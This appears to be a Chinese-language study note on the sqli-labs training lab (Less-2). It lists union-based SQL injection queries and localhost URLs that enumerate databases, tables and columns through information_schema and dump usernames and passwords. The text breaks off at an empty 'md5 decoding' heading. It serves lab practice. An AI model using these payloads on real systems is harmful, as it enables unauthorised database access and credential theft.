先看一下最基础sql语句之后的都是在此添加函数达到注入效果
查询数据库内容常用语句
select * from users union all select user(),database(),version();
1.暴库:select group_concat(schema_name) from information_schema.schemata;
2.暴表1:select group_concat(table_name) from information_schema.tables where table_schema='security'; 加引号 暴表2:select table_name from information_schema.tables where table_schema='security' limit 3,1; 加引号
3.暴字段1:select group_concat(column_name) from information_schema.columns where table_name='users'schema='security'; 加引号 暴字段2:select column_name from information_schema.columns wheretable_name='users' and table_schema='security' limit 1,1;
4.暴字段值:select group_concat(username,0x3a,password) from security.users; //不加引号
Less -2
测试:
可判断为1.2.3
union select 1,2,3
查询数据库(高版本):
爆出所有数据库:
http://127.0.0.1:/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
获取数据库名:
获取特定数据库:
查询数据库information_schema下指定的表名dvwa下的users
用户获取特定数据库表名:
http://127.0.0.1:/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'dvwa'
查询指定数据(dvwa中的user的数据):
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,user,password from dvwa.users
跨库注入需指向数据库名 dvwa.users
md5解码: